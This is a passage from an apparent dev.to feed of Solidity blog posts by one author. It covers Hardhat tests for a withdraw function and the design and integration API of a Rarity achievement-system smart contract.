&lt;h3&gt;
  
  
  Create tests for the withdraw function
&lt;/h3&gt;

&lt;p&gt;We calculate the  &lt;code&gt;withdrawable&lt;/code&gt;  amount by the  &lt;code&gt;msg.sender&lt;/code&gt;. If the sender is also the owner of the current world’s purpose we subtract the  &lt;code&gt;purpose.investment&lt;/code&gt;  from the  &lt;code&gt;balances[msg.sender]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With that in mind we need to do some checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;withdrawable&lt;/code&gt;  the amount must be greater than zero&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;msg.sender.call{value: withdrawable}("")&lt;/code&gt;  must return success (user has withdrawn successfully the amount)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything passes these checks the function will&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  update the user’s balance to  &lt;code&gt;balances[msg.sender] -= withdrawable&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are the test we are going to implement&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; ❌ user can’t withdraw because he has an empty balance (never set a purpose)&lt;/li&gt;
&lt;li&gt; ❌ user can’t withdraw because he’s the current owner of the purpose. his/her  &lt;code&gt;withdrawable&lt;/code&gt;  amount is 0&lt;/li&gt;
&lt;li&gt; ✅ user1 has set a purpose, someone else has overridden the purpose so user1 can withdraw the whole amount&lt;/li&gt;
&lt;li&gt; ✅ user1 has set a purpose, someone else has overridden it but user1 set a new purpose for the second time. In this case, he can withdraw only the first purpose investment&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s review the code of the success scenario (the third one in the previous list) and you will be in charge to implement the other tests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Withdraw your previous investment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;firstInvestment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.10&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setPurpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;First purpose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.10&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr2&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setPurpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Second purpose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.11&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="c1"&gt;// Check that my current balance on contract is 0  &lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;// Check that I got back in my wallet the whole import  &lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;changeEtherBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;firstInvestment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have already seen the  &lt;code&gt;setPurpose&lt;/code&gt;  function so the first part should be pretty straightforward.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;addr1&lt;/code&gt;  set a purpose with  &lt;code&gt;0.10&lt;/code&gt;  ETH investment,  &lt;code&gt;addr2&lt;/code&gt;  override the purpose of investing  &lt;code&gt;0.11&lt;/code&gt;  ETH&lt;/p&gt;

&lt;p&gt;&lt;code&gt;addr1&lt;/code&gt;  call the  &lt;code&gt;withdraw()&lt;/code&gt;  function. The contract checks how much he can withdraw and send the amount back to his/her wallet.&lt;/p&gt;

&lt;p&gt;In this test scenario, we check that after the transaction has been minted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  the  &lt;code&gt;getBalance&lt;/code&gt;  the function of the contract must return 0 (he/she has withdrawn all the balance)&lt;/li&gt;
&lt;li&gt;  the transaction should have changed the ether balance of the  &lt;code&gt;addr1&lt;/code&gt;  wallet of the same amount he has invested when he/she has invoked the  &lt;code&gt;setPurpose&lt;/code&gt;, in this case  &lt;code&gt;0.10&lt;/code&gt;  ETH&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now it’s your turn to implement the remaining tests!&lt;/p&gt;

&lt;h2&gt;
  
  
  Run all tests together
&lt;/h2&gt;

&lt;p&gt;When you have finished writing down all your tests just run this command to run them  &lt;code&gt;npx hardhat test&lt;/code&gt;. You should see a result similar to this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F564%2F1%2AXz6qvvyqPcGV8WTAKwCXtA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F564%2F1%2AXz6qvvyqPcGV8WTAKwCXtA.png" alt="Test result"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Well done! You have just created your first test file for your solidity project!&lt;/p&gt;

&lt;h2&gt;
  
  
  Did you like this content? Follow me for more!
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  GitHub:  &lt;a href="https://github.com/StErMi" rel="noopener noreferrer"&gt;https://github.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Twitter:  &lt;a href="https://twitter.com/StErMi" rel="noopener noreferrer"&gt;https://twitter.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Medium:  &lt;a href="https://medium.com/@stermi" rel="noopener noreferrer"&gt;https://medium.com/@stermi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Dev.to:  &lt;a href="https://dev.to/stermi"&gt;https://dev.to/stermi&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>web3</category>
      <category>solidity</category>
      <category>ethereum</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Rarity Achievement System: update and release date</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Sat, 02 Oct 2021 06:36:44 +0000</pubDate>
      <link>https://forem.com/stermi/rarity-achievement-system-update-and-release-date-49ai</link>
      <guid>https://forem.com/stermi/rarity-achievement-system-update-and-release-date-49ai</guid>
      <description>&lt;p&gt;I have already introduced the project some days ago with the previous blog post “&lt;a href="https://dev.to/stermi/proof-of-concept-of-an-achievement-system-for-rarity-4ia4"&gt;Proof of Concept of an Achievement System for Rarity&lt;/a&gt;”.&lt;/p&gt;

&lt;p&gt;In the last couple of days, I’ve dedicated my spare time to refactor the whole project changing some strong requirements I had hardcoded with it.&lt;/p&gt;

&lt;p&gt;So let’s view what has changed, how other smart contract developers or web3 developers can integrate with it, and when I’ll release the contract.&lt;/p&gt;

&lt;p&gt;But first, just a TL;DR on what’s this project about!&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR: What’s the project about?
&lt;/h2&gt;

&lt;p&gt;Rarity Achievement  is a smart contract to create a decentralized achievement system for Rarity by &lt;a href="https://twitter.com/AndreCronjeTech"&gt;Andre Cronje&lt;/a&gt;. The concept of the project can be adapted and adopted by other crypto games in the ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  For the summoner
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Track the total amount of achievement points earned by the summoner while playing the game&lt;/li&gt;
&lt;li&gt;  Track the list of achievements earned&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For the other contracts/web developers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Enable a way to unlock achievements when the user interacts with a contract&lt;/li&gt;
&lt;li&gt;  Enable to unlock content if the user has reached a certain amount of achievements points or has unlocked a specific achievement&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What does this enable for the ecosystem?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Players are more engaged to play the game to earn achievements&lt;/li&gt;
&lt;li&gt;  Contract with achievements will be used more&lt;/li&gt;
&lt;li&gt;  The overall longevity of the Rarity game is extended&lt;/li&gt;
&lt;li&gt;  Other contracts / dApp could enable some content only if the user has reached a minimum level of achievements points&lt;/li&gt;
&lt;li&gt;  Achievements points (that’s just an idea) could be “burned” to purchase specific items payable with achievements points instead of golds&lt;/li&gt;
&lt;li&gt;  More concepts to come&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What has changed since the last time?
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;First of all, I would like to thanks all the people that have given me feedback from Twitter and Discord. A special mention to  &lt;a href="https://twitter.com/mat_nadler"&gt;@Newti&lt;/a&gt;  from the Rarity Discord, he has helped me a lot giving me feedback and suggestions on some specific mechanics I should adopt.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Remove all the source and achievement whitelisting process
&lt;/h3&gt;

&lt;p&gt;In the first version of the smart contract, I implement a whitelisting process to only accept legit smart contracts to be able to register achievements.&lt;/p&gt;

&lt;p&gt;It was the perfect green garden but the process was too complex and the adoption of the project was doomed by the start. It could have been fine for a PoC but not for a real-world use case or at least not for the current state of the blockchain ecosystem.&lt;/p&gt;

&lt;p&gt;So now every smart contract (even if it’s not from the Rarity ecosystem) can register achievement metadata and can award achievements to a summoner.&lt;/p&gt;

&lt;p&gt;So you will be asking me&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Aren’t you afraid that malicious users could create achievements and spam/send junk achievements to summoners?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yup. That was the reason why I originally structured the logic to force smart contract developers to be whitelisted in order to register achievement metadata.&lt;/p&gt;

&lt;p&gt;But as Newti suggested to me, that’s not the correct solution. The correct solution is to allow anyone to do whatever they want but allow frontend dev or other smart contract developers to be able to &lt;strong&gt;filter the list of achievements owned by the summoner.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Filter awarded achievements and achievement points
&lt;/h3&gt;

&lt;p&gt;The second big part of the refactor was on the  &lt;strong&gt;getters&lt;/strong&gt;  for both achievements and achievement points.&lt;/p&gt;

&lt;p&gt;I needed to allow other developers to only get achievements from the whitelisted or recommended list of smart contracts.&lt;/p&gt;

&lt;p&gt;So now you can specify a list of contract addresses on the  &lt;code&gt;getAchievements&lt;/code&gt;  and  &lt;code&gt;getPoints&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to interact with the contract?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  For smart contract developers that want to register and award achievements
&lt;/h3&gt;

&lt;p&gt;If you want to see an example of a contract that integrate with RarityAchievement you can look at  &lt;a href="https://github.com/StErMi/rarity-achievements/blob/main/contracts/utils/RarityBlockSandbox.sol"&gt;RarityBlockSandbox.sol&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What your contract needs to do is&lt;/p&gt;

&lt;p&gt;First of all, you need to import both the RarityAchievement interface and Model&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="err"&gt;“&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;interfaces&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;AchievementInterface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sol&lt;/span&gt;&lt;span class="err"&gt;”&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="err"&gt;“&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;AchievementModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sol&lt;/span&gt;&lt;span class="err"&gt;”&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save a reference to the RarityAchievement contract like this&lt;/p&gt;

&lt;p&gt;&lt;code&gt;AchievementContractInterface _ac;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Declare the Achievement Metadata ID used by your contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;mobAchievement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;miniBossAchievement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;bossAchievement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Register your achievement metadata calling  &lt;code&gt;_ac.registerAchievement(achievementMetadata);&lt;/code&gt;  for each of your contract’s achievements.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;registerAchievement&lt;/code&gt;  takes a  &lt;code&gt;metadata&lt;/code&gt;  as input and return the  &lt;code&gt;metadataID&lt;/code&gt;  you need to send the contract when you want to award an achievement to a summoner.&lt;/p&gt;

&lt;p&gt;The model of the metadata is like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;AchievementModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AchievementMetadata&lt;/span&gt; &lt;span class="nx"&gt;metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;AchievementModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AchievementMetadata&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;  
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ID here is not important, will be replaced by the AchievementContract  &lt;/span&gt;
    &lt;span class="na"&gt;source&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;// source is not important, will be replaced by the AchievementContract  &lt;/span&gt;
    &lt;span class="na"&gt;source_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The nightmare dungeon!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
    &lt;span class="na"&gt;difficulty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AchievementModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Difficulty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Uncommon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
    &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Defeated first miniboss&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You have been brave enough to defeat the Eruptus, the mini boss of 'The Fantom Dungeon'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
    &lt;span class="na"&gt;points&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;  
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I’ll explain each of those&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;code&gt;id&lt;/code&gt;is the ID of the metadata. You can pass &lt;code&gt;0&lt;/code&gt; because it will be replaced by the RarityAchievement contract when you call the registration process
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;source&lt;/code&gt;  is your contract’s address
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;source_name&lt;/code&gt;  is the name of your contract. For example  &lt;code&gt;The Fantom Dungeon&lt;/code&gt;, it will be used by web apps to know from which contract the achievement comes.
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;difficulty&lt;/code&gt;  is how difficult is to get this achievement. It goes from  &lt;code&gt;Common&lt;/code&gt;  to  &lt;code&gt;Legendary&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;title&lt;/code&gt;is the title of the achievement
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;description&lt;/code&gt;  is the description of the achievement
&lt;/li&gt;
&lt;li&gt; &lt;code&gt;points&lt;/code&gt;  are the number of achievement points that the summoner will receive when awarded the achievement. Try to be  &lt;strong&gt;fair&lt;/strong&gt;  otherwise, your contract will not be used by other web apps/contracts!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;id&lt;/code&gt;  and  &lt;code&gt;source&lt;/code&gt;  are optional, they will be replaced by the RarityAchievement contract, other properties are  &lt;strong&gt;required&lt;/strong&gt;, otherwise, the transaction will revert!&lt;/p&gt;

&lt;p&gt;When you have registered all your achievement you just need to award those achievements when the summoner has done some specific action like for example&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Beaten a difficult boss&lt;/li&gt;
&lt;li&gt;  Crafted 100 swords&lt;/li&gt;
&lt;li&gt;  Collected 100.000 gold&lt;/li&gt;
&lt;li&gt;  Reached level 10&lt;/li&gt;
&lt;li&gt;  Defeated 10 times a dungeon&lt;/li&gt;
&lt;li&gt;  …&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To award an achievement to a summoner you need to call  &lt;code&gt;_ac.awardAchievement(summonerId, achievementMetadataId);&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Please be aware that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; You can award only achievement that your contract owns&lt;/li&gt;
&lt;li&gt; You cannot award multiple time the same achievement to the same summoner&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you want to be sure that a summoner already owns an achievement you can call  &lt;code&gt;_ac.hasAchievement(summonerId, achievementMetadataId);&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  For web3 developers / other integration
&lt;/h3&gt;

&lt;p&gt;If you want to build a frontend to list the summoner’s achievement you are in the right place. These functions could also be used by other smart contract developers to create derivative contracts.&lt;/p&gt;

&lt;p&gt;For example, you could allow a summoner to craft the ultimate sword only if he owns the achievement unlocked after crafting 100 swords. Or you can allow accessing the final dungeon only if the summoner owns all the achievements from previous dungeons and so on. Just use your imagination!&lt;/p&gt;

&lt;p&gt;Back to web3 devs. You have 3 utility functions you can call:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;hasAchievement(uint256 summonerId, uint256 metadataId)&lt;/code&gt;  will return a  &lt;code&gt;bool&lt;/code&gt;. It will be  &lt;code&gt;true&lt;/code&gt;  if the summoner owns a specific achievement.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;getPoints(uint256 summonerId, address[] memory sources)&lt;/code&gt;  it will return the total amount of achievement points owned by the summoner.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;sources&lt;/code&gt; is an array of whitelisted contracts from which you want to filter the achievements from. For example, you want to get only points gained by &lt;code&gt;ContractA&lt;/code&gt; and &lt;code&gt;ContractB&lt;/code&gt; contracts, you just need to pass those addresses as an array.&lt;/p&gt;

&lt;p&gt;If you don’t want to filter at all, just pass an empty array like this  &lt;code&gt;[]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;function getAchievements(uint256 summonerId, address[] memory sources, uint256 offset, uint256 limit)&lt;/code&gt;  will return the list of Achievements owned by the summoner. The  &lt;code&gt;sources&lt;/code&gt;  parameter is used for the same reason: get only the achievement awarded from those contract addresses. The  &lt;code&gt;offset&lt;/code&gt;  and  &lt;code&gt;limit&lt;/code&gt;  parameters are used to paginate the results (because of RPC limitations). Use them only if you get some errors while querying the contract otherwise just pass  &lt;code&gt;0&lt;/code&gt;  as the offset and  &lt;code&gt;9999999999&lt;/code&gt;  (or any big number) as the limit.&lt;/p&gt;

&lt;h2&gt;
  
  
  When will it be released?
&lt;/h2&gt;

&lt;p&gt;I’m planning to take the weekend to apply some final touch to the code, release it on testnet and as soon as I’m satisfied with the result I’ll release it on the main net. So at max a couple of days more!&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback, help, new ideas?
&lt;/h2&gt;

&lt;p&gt;I’m open to discussion and feedback, if you have any please DM me on Twitter  &lt;a href="https://twitter.com/StErMi"&gt;@StErMi&lt;/a&gt;  or open a  &lt;a href="https://github.com/StErMi/rarity-achievements"&gt;GitHub issue/PR&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>ftm</category>
    </item>
    <item>
      <title>Proof of Concept of an Achievement System for Rarity</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Fri, 24 Sep 2021 06:29:03 +0000</pubDate>
      <link>https://forem.com/stermi/proof-of-concept-of-an-achievement-system-for-rarity-4ia4</link>
      <guid>https://forem.com/stermi/proof-of-concept-of-an-achievement-system-for-rarity-4ia4</guid>
      <description>&lt;p&gt;I think that everyone here knows already what Rarity is right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLDR;&lt;/strong&gt;  &lt;a href="https://andrecronje.medium.com/loot-rarity-d341faa4485c"&gt;Rarity&lt;/a&gt;  is a project created by  &lt;a href="https://twitter.com/AndreCronjeTech"&gt;Andre Cronje&lt;/a&gt;. You can think about it as D&amp;amp;D on the blockchain. Rarity is deployed on Fantom Opera (FTM) because of its speed and low-cost fees.&lt;/p&gt;

&lt;p&gt;What I really liked about Rarity is the idea of a framework of Smart Contracts. Each smart contract is like a building block (Contract) that interacts with other building blocks. For example, the core block is the Summoner. Each summoner can have skills, grind golds, level up, craft equipment, or adventure into a Dungeon.&lt;/p&gt;

&lt;p&gt;Every building block can be created by anyone, not just the creator of the game, it just needs that the community recognize it and start using it. This is a fully decentralized game.&lt;/p&gt;

&lt;p&gt;And the cool thing is that everything and I mean  &lt;strong&gt;everything is owned by the Summoner that is an NFT itself&lt;/strong&gt;. You don’t own golds, the summoner does. You will not find items inside your wallet as NFTs, your summoner will be the owner.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why create an Achievement System?
&lt;/h2&gt;

&lt;p&gt;I wanted to be part of this. I wanted to be part of a stepping stone that is creating a new kind of game development mechanics. I wanted to be able to contribute to it and learn from this experience. That’s why I’ve come with the idea to create an Achievement System for the Summoner that other contracts need to call like a decentralized API.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does it do?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  For the summoner
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Track the total amount of achievement points earned by the summoner while playing the game&lt;/li&gt;
&lt;li&gt;  Track the list of achievements earned&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For the other contracts
&lt;/h3&gt;

